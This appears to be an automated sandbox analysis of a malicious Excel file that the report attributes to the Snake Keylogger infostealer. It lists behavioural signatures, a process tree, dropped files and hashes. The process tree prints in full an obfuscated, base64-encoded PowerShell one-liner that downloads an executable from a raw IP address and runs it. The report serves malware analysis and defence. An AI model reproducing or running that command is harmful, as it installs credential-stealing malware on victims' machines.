Analysis

  • max time kernel
    122s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2024 08:19

General

  • Target

    Orden2410188.xls

  • Size

    938KB

  • MD5

    39e2230ab8f6d983bee40367b44d0d99

  • SHA1

    92e81d6b42529bd3171b4541ea252fce6ba3c010

  • SHA256

    ed0b1f5749e23d2494de9cdeda7aca03c44690e22dfbd2f4b5f96baa73986406

  • SHA512

    2d9e2060a4251c50e3d32896d71025fc57c2e588d5cbd88ce0c9ba52287f4e40d4775f528958032f7323c3f02d3a0e9e39872e5427b5ed3e9dbbfcd8234ba90c

  • SSDEEP

    12288:UmzHJEjwWYSRD3DERnLRmF8Dl3PT7uZNPK+N4Uu/UbH0ilKLdcoCYd8Eojy1f9w:ncwHSRbARM8B3l+iv/UbUxLdwYLom1V

Malware Config

Extracted

Family

snakekeylogger

Credentials

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 3 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Orden2410188.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2112
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c PoweRsHElL -EX bYpASs -nOp -W 1 -C DEvICECReDENTiaLDEPlOyMENt.eXE ; IEX($(IEx('[sySTEM.TEXt.enCoding]'+[cHaR]0X3a+[cHAR]58+'UTF8.GetsTRiNG([SyStem.ConVERt]'+[CHaR]58+[cHaR]0x3A+'FrOMBaSE64STriNG('+[cHAr]34+'JGo0Wk9GICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJFckRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsdm1vRndaWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqc2tJd2FtLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNoYmNnUUd5c1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxYVSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHYWp0R0RieE5qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiblhjTm5QandrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFa21xICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqNFpPRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvMjMwL3Rhc2tob3N0dy5leGUiLCIkZU5WOkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSVC1TTEVlUCgzKTtzdGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSI='+[CHAr]0X22+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2452
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoweRsHElL -EX bYpASs -nOp -W 1 -C DEvICECReDENTiaLDEPlOyMENt.eXE ; IEX($(IEx('[sySTEM.TEXt.enCoding]'+[cHaR]0X3a+[cHAR]58+'UTF8.GetsTRiNG([SyStem.ConVERt]'+[CHaR]58+[cHaR]0x3A+'FrOMBaSE64STriNG('+[cHAr]34+'JGo0Wk9GICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJFckRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsdm1vRndaWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqc2tJd2FtLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNoYmNnUUd5c1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxYVSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHYWp0R0RieE5qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiblhjTm5QandrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFa21xICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqNFpPRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvMjMwL3Rhc2tob3N0dy5leGUiLCIkZU5WOkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSVC1TTEVlUCgzKTtzdGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSI='+[CHAr]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2540
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4nrz21-h.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2260
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC591.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC590.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1096
        • C:\Users\Admin\AppData\Roaming\taskhostw.exe
          "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2344
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:1892

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

    Filesize

    1KB

    MD5

    7fb5fa1534dcf77f2125b2403b30a0ee

    SHA1

    365d96812a69ac0a4611ea4b70a3f306576cc3ea

    SHA256

    33a39e9ec2133230533a686ec43760026e014a3828c703707acbc150fe40fd6f

    SHA512

    a9279fd60505a1bfeef6fb07834cad0fd5be02fd405573fc1a5f59b991e9f88f5e81c32fe910f69bdc6585e71f02559895149eaf49c25b8ff955459fd60c0d2e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

    Filesize

    436B

    MD5

    971c514f84bba0785f80aa1c23edfd79

    SHA1

    732acea710a87530c6b08ecdf32a110d254a54c8

    SHA256

    f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

    SHA512

    43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

    Filesize

    174B

    MD5

    9352f237438f6804fa75a48d204fece8

    SHA1

    9ff1c18479696adbfb058e56ad6f5292040612a9

    SHA256

    12cbe4eda50ba72389332d61e425e7b26926ebdb763e6a02c0ecfa8db4524847

    SHA512

    aba6cacf3ce5fd4f69fd58cd22b826412fae74eb670d08dc21e46eab7aab09de5b0243ff21118492d11b797176d74ebefc898d57065d94b29310ac58295fd2c9

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

    Filesize

    170B

    MD5

    43e102c4083309fc67743d588aa31426

    SHA1

    d0f71f0770d19ee26b5fbee8788613f7ad6f5a58

    SHA256

    69c3b43790e4abd4cfbc3583048fa90c949f257bf606d5aeb8a274fe1aba986e

    SHA512

    19c2d9116710b4da75cb68a4107ecfdbf5c248430b1a9041277c9c8276d8876e5f8b7d433486e4f0054d45cb3acb5827dea04df6e67d10d5949b043b404a30eb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M4TQDAHL\Ienetbooksweetupdation[1].hta

    Filesize

    8KB

    MD5

    e8b6b8f66f1568524c963ee107abf9c7

    SHA1

    aaf3e605b150c22d8431ffcfc30bae044ea201c7

    SHA256

    4eed8d0dfe860288fff6017d8b43c5e3c7d73a4df00d467ee2f9e778b7e197d0

    SHA512

    544008c3d03e014df07d4b31dba48d1fd6d822993bd8b8167ec2ebe43f739f8fc31fb1a512777e19da9dd55557a03515143c5caa3274a2e2e8c505d166dad9ee

  • C:\Users\Admin\AppData\Local\Temp\4nrz21-h.dll

    Filesize

    3KB

    MD5

    35112563bd2e6c6387f5012bc23a189e

    SHA1

    685f61bd78ae5a6dfd32b7d26a572e33ad507ca4

    SHA256

    794b9564834e84dcb3f22eafbdacbc1ac2d4d9daae679c93ac7f8c0edd8e08b6

    SHA512

    b7769d190585ecf1aef2e3d7e0822de6b27a65afee9425c3e7ed07b7918299c2c6f2da103137da6e072c97c44a06ad85dd1c8386189bccdf4736006ccedaa9ba

  • C:\Users\Admin\AppData\Local\Temp\4nrz21-h.pdb

    Filesize

    7KB

    MD5

    6705fbb98963b7378028fd12ea4de502

    SHA1

    65f88e818cde51a53fb0282eb7d9a556d5beff63

    SHA256

    ab15aea494d6608e274be8a1e56ca7009d4f6366da8a7a79a070c60d6db88c52

    SHA512

    d45062270ab7ee65134e236f0d0497c35d3e3a86aa5e4143a4765f7f45089598ba13eb7523585f01b7d038e02937dcab05693b11830a1d6b9470b5cde88464cd

  • C:\Users\Admin\AppData\Local\Temp\CabBD56.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESC591.tmp

    Filesize

    1KB

    MD5

    10cddabea00caac82199aa3cce559482

    SHA1

    7e648a6029122d09a8dbbe81790c2c53ded6be43

    SHA256

    3f59e07a32ac0f746e2eee018636f35d5a4f9b776d588d3a2665bc996939c956

    SHA512

    6d1848047faeaec3c3b712a2fdb280e9e648c9bd317d55887bf454a2b76bd6834522fba903762d26598917675248eb6baffe52222435c501d714b8aafd1aec37

  • \??\c:\Users\Admin\AppData\Local\Temp\4nrz21-h.0.cs

    Filesize

    489B

    MD5

    66cd8bc31e61e003cddb2ea81c47016a

    SHA1

    b9172635caecd693d1476d08c9cecb5777ea49bb

    SHA256

    0ce2cb15b914d1becfba7f1eed7a96e44610e5b70a8d4a9568ed117d6c3a73dd

    SHA512

    6dd379fff538ecec3814b2bf5ffb2d3e8d1f5e8da9f79b416cd2ac81b916633122565cb9ce89f3bcbb1acb1da0269ae2977fdd515f74f9ffc8dbcae15a0a15e4

  • \??\c:\Users\Admin\AppData\Local\Temp\4nrz21-h.cmdline

    Filesize

    309B

    MD5

    b02d2bf0bf5862d8d66bfdd23d47275e

    SHA1

    fbbb1707720095950733b13fbd309dba6eb58f98

    SHA256

    78535d44c9b080742f0c2f642cc916a6624640ab06667245018812da0c7c357d

    SHA512

    d67b085a710390808bc528acaf882a6637bb7af76be99902000fefe91f0c65a546a0d804f33d17ffed9dd10f625a543bc0b393a5a82513df526d264ec543056b

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCC590.tmp

    Filesize

    652B

    MD5

    04745d2fdb54593f1c48bc63cc86c68a

    SHA1

    6096477e5b622e8a52b3afcb6305802499b1399a

    SHA256

    b9416c78d3b5d8bbb37e552cf566aeaf39ee07f302cc4d9761f9fcba1344cfd9

    SHA512

    e7cf3ccb5cafc79218bdc6d7e7cc6281d2e3846f4094af99b252d062a0cfaa622e1e41419eda867190cc10b06199c4a90f2b268f9302f659d64940bb0f4f18b8

  • \Users\Admin\AppData\Roaming\taskhostw.exe

    Filesize

    934KB

    MD5

    d515411b9a3c0d9fb13b9c6a928a7fd0

    SHA1

    f940a7302ac76567c15efb1a15d789b42224aac3

    SHA256

    7b2fcffe77e320517c511f5a3700d8545712475aeb4dc04088537fa8456fec77

    SHA512

    447a5ab235672a2d067e5792260aa5b978720f8d67ac80bd875e74d7032cb496e3b0463f3c3870bd87d975cddf7f750df35a9ea7aa8aa65f1bd1590d3305c9d6

  • memory/1892-64-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/1892-66-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/1892-65-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/2112-17-0x0000000001F40000-0x0000000001F42000-memory.dmp

    Filesize

    8KB

  • memory/2112-1-0x000000007235D000-0x0000000072368000-memory.dmp

    Filesize

    44KB

  • memory/2112-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2112-55-0x000000007235D000-0x0000000072368000-memory.dmp

    Filesize

    44KB

  • memory/2720-16-0x0000000002510000-0x0000000002512000-memory.dmp

    Filesize

    8KB